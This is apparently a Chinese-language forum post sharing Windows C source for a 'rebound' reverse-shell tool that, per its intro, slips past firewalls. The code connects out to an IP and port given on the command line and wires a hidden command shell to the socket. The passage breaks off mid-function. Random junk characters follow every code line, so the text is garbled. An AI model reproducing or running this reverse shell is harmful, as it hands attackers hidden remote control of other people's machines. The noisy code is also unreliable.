这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 _&}z+(Ug
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/* ============================== 8c5%~}kG
Rebound port in Windows NT U~s-'-C/
By wind,2006/7 +?bjP6w_g
===============================*/ z,IUCNgM
#include H:!pFj
#include &LDA=B
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#pragma comment(lib,"wsock32.lib") BZ}_
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void OutputShell(); z%~rQa./$
SOCKET sClient; \oy8)o/Gb
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; l$J2|\M6
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void main(int argc,char **argv) TT3\c,cs
{ 3&"+)*/ m
WSADATA stWsaData; #!R =h|
int nRet; 3iBUIv
SOCKADDR_IN stSaiClient,stSaiServer; ;noZmPa
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if(argc != 3) J[jzkzSu`
{ #Pe|}!)u
printf("Useage:\n\rRebound DestIP DestPort\n"); $.T\dm-
return; }CB9H$FkCY
} |P(8T'
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WSAStartup(MAKEWORD(2,2),&stWsaData); )F65sV{
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gib'f@i ;
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stSaiClient.sin_family = AF_INET; /{FSG!
stSaiClient.sin_port = htons(0); 35Cm>X
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); akV-|v_
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) MVOWJaT(Aq
{ -i*]Sgese
printf("Bind Socket Failed!\n"); /j;HM[
return; MoMxKmI
} WI\jm&H r
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stSaiServer.sin_family = AF_INET; 7Kn}KO!Y8
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 4'G osQ85
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); W'L
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) "s.s(TR8
{ Bf8[(oc~
printf("Connect Error!"); )POU58$
return; Uo=_=.GQ
} /nz J`d
OutputShell(); -AZ\u\xCB
} `*w!S8} m;
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void OutputShell() %{ +>\0x
{ 0q_?<v_1
char szBuff[1024]; d0}P
SECURITY_ATTRIBUTES stSecurityAttributes; ak$D1#hY
OSVERSIONINFO stOsversionInfo; /5"RedP<
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; C1po]Ott*
STARTUPINFO stStartupInfo; [J
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char *szShell; ,^@z;xF
PROCESS_INFORMATION stProcessInformation; cxc-|Xori
unsigned long lBytesRead; ) 8 %lZ{
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); W WN2
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); }Wz[ox 9b
stSecurityAttributes.lpSecurityDescriptor = 0; =H/ 5
stSecurityAttributes.bInheritHandle = TRUE; Y?xc#'
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Z:.*fs5
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Bnh*;J0
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); E3QyiW
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &2,^CG
stStartupInfo.wShowWindow = SW_HIDE; 9a0|iy
stStartupInfo.hStdInput = hReadPipe; X{tfF!+iy
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; rL|9Xru
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GetVersionEx(&stOsversionInfo); g![?P"i^t
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switch(stOsversionInfo.dwPlatformId) 'W*ODAz6
{ ~As_O6JI
case 1: ,QPo%{:p
szShell = "command.com"; w<Ot0&